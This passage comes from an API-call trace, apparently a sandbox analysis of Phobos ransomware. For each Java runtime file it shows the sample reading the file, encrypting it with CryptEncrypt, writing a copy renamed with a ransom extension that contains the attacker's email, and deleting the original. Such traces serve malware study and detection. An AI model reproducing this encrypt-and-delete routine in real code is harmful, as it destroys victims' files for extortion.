lpOverlapped=0x0) returned 1 [0180.851] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x3c50, dwBufLen=0x3c50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x3c50) returned 1 [0180.852] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x3c50, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x3c50, lpOverlapped=0x0) returned 1 [0180.852] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1610) returned 1 [0180.852] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0180.853] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50, dwBufLen=0x50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x50) returned 1 [0180.853] CryptDestroyKey (hKey=0x1d1610) returned 1 [0180.853] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x102, lpOverlapped=0x0) returned 1 [0180.853] CryptDestroyKey (hKey=0x1d1410) returned 1 [0180.853] CloseHandle (hObject=0x2e4) returned 1 [0180.853] CloseHandle (hObject=0x2cc) returned 1 [0180.853] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 1 [0180.854] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0180.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0180.854] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=26688) returned 1 [0180.854] CloseHandle (hObject=0x2cc) returned 1 [0180.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20 [0180.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0180.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0180.855] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0180.855] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0180.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0180.855] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1590) returned 1 [0180.855] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0180.855] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x6840, lpOverlapped=0x0) returned 1 [0180.885] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x6850, dwBufLen=0x6850 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x6850) returned 1 [0180.885] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x6850, lpOverlapped=0x0) returned 1 [0180.886] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1850) returned 1 [0180.886] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0180.886] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x30, dwBufLen=0x30 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x30) returned 1 [0180.886] CryptDestroyKey (hKey=0x1d1850) returned 1 [0180.886] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xe2, lpOverlapped=0x0) returned 1 [0180.886] CryptDestroyKey (hKey=0x1d1590) returned 1 [0180.886] CloseHandle (hObject=0x2cc) returned 1 [0180.886] CloseHandle (hObject=0x2e4) returned 1 [0180.886] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 1 [0180.888] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0180.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0180.888] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=139840) returned 1 [0180.888] CloseHandle (hObject=0x2e4) returned 1 [0180.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20 [0180.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0180.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0180.889] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0180.889] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0180.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0180.889] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1810) returned 1 [0180.889] CryptSetKeyParam (hKey=0x1d1810, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0180.889] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x22240, lpOverlapped=0x0) returned 1 [0181.197] CryptEncrypt (in: hKey=0x1d1810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x22250, dwBufLen=0x22250 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x22250) returned 1 [0181.197] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x22250, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x22250, lpOverlapped=0x0) returned 1 [0181.200] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d16d0) returned 1 [0181.200] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0181.200] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0181.200] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0181.200] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0181.200] CryptDestroyKey (hKey=0x1d1810) returned 1 [0181.200] CloseHandle (hObject=0x2e4) returned 1 [0181.200] CloseHandle (hObject=0x2cc) returned 1 [0181.200] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 1 [0181.202] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0181.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0181.203] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=15936) returned 1 [0181.203] CloseHandle (hObject=0x2cc) returned 1 [0181.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20 [0181.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0181.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0181.204] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0181.204] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0181.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0181.204] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d14d0) returned 1 [0181.205] CryptSetKeyParam (hKey=0x1d14d0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0181.205] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x3e40, lpOverlapped=0x0) returned 1 [0181.918] CryptEncrypt (in: hKey=0x1d14d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x3e50, dwBufLen=0x3e50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x3e50) returned 1 [0181.918] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x3e50, lpOverlapped=0x0) returned 1 [0181.922] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1410) returned 1 [0181.922] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0181.922] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x30, dwBufLen=0x30 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x30) returned 1 [0181.922] CryptDestroyKey (hKey=0x1d1410) returned 1 [0181.922] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xe2, lpOverlapped=0x0) returned 1 [0181.923] CryptDestroyKey (hKey=0x1d14d0) returned 1 [0181.923] CloseHandle (hObject=0x2cc) returned 1 [0181.923] CloseHandle (hObject=0x2e4) returned 1 [0181.923] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 1 [0181.924] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0181.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0181.924] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=174656) returned 1 [0181.924] CloseHandle (hObject=0x2e4) returned 1 [0181.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20 [0181.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0181.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0181.925] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0181.925] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0181.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0181.925] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1610) returned 1 [0181.925] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0181.925] ReadFile (in: hFile=0x2e4, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x2aa40, lpOverlapped=0x0) returned 1 [0181.960] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x2aa50, dwBufLen=0x2aa50 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x2aa50) returned 1 [0181.961] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x2aa50, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x2aa50, lpOverlapped=0x0) returned 1 [0181.964] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1710) returned 1 [0181.964] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0181.964] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x30, dwBufLen=0x30 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x30) returned 1 [0181.964] CryptDestroyKey (hKey=0x1d1710) returned 1 [0181.964] WriteFile (in: hFile=0x2cc, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xe2, lpOverlapped=0x0) returned 1 [0181.964] CryptDestroyKey (hKey=0x1d1610) returned 1 [0181.964] CloseHandle (hObject=0x2e4) returned 1 [0181.964] CloseHandle (hObject=0x2cc) returned 1 [0181.965] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 1 [0181.969] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0181.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0181.970] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=112192) returned 1 [0181.970] CloseHandle (hObject=0x2cc) returned 1 [0181.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 0x20 [0181.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0181.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0181.971] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0181.971] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f9b0 | out: lpNewFilePointer=0x0) returned 1 [0181.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0181.971] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f968, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c4 | out: phKey=0x2d1f9c4*=0x1d1a50) returned 1 [0181.971] CryptSetKeyParam (hKey=0x1d1a50, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0181.971] ReadFile (in: hFile=0x2cc, lpBuffer=0x30c1020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f9ec, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesRead=0x2d1f9ec*=0x1b640, lpOverlapped=0x0) returned 1 [0182.128] CryptEncrypt (in: hKey=0x1d1a50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x1b650, dwBufLen=0x1b650 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x1b650) returned 1 [0182.128] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0x1b650, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0x1b650, lpOverlapped=0x0) returned 1 [0182.132] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2d1f95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f9c8 | out: phKey=0x2d1f9c8*=0x1d1ad0) returned 1 [0182.132] CryptSetKeyParam (hKey=0x1d1ad0, dwParam=0x1, pbData=0x2d1fa70, dwFlags=0x0) returned 1 [0182.132] CryptEncrypt (in: hKey=0x1d1ad0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40, dwBufLen=0x40 | out: pbData=0x30c1020*, pdwDataLen=0x2d1f988*=0x40) returned 1 [0182.132] CryptDestroyKey (hKey=0x1d1ad0) returned 1 [0182.132] WriteFile (in: hFile=0x2e4, lpBuffer=0x30c1020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1f9d0, lpOverlapped=0x0 | out: lpBuffer=0x30c1020*, lpNumberOfBytesWritten=0x2d1f9d0*=0xf2, lpOverlapped=0x0) returned 1 [0182.132] CryptDestroyKey (hKey=0x1d1a50) returned 1 [0182.132] CloseHandle (hObject=0x2cc) returned 1 [0182.132] CloseHandle (hObject=0x2e4) returned 1 [0182.133] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2launcher.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2launcher.exe")) returned 1 [0182.137] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0182.137] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0182.138] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=235584) returned 1 [0182.138] CloseHandle (hObject=0x2e4) returned 1 [0182.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20 [0182.138] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.138] 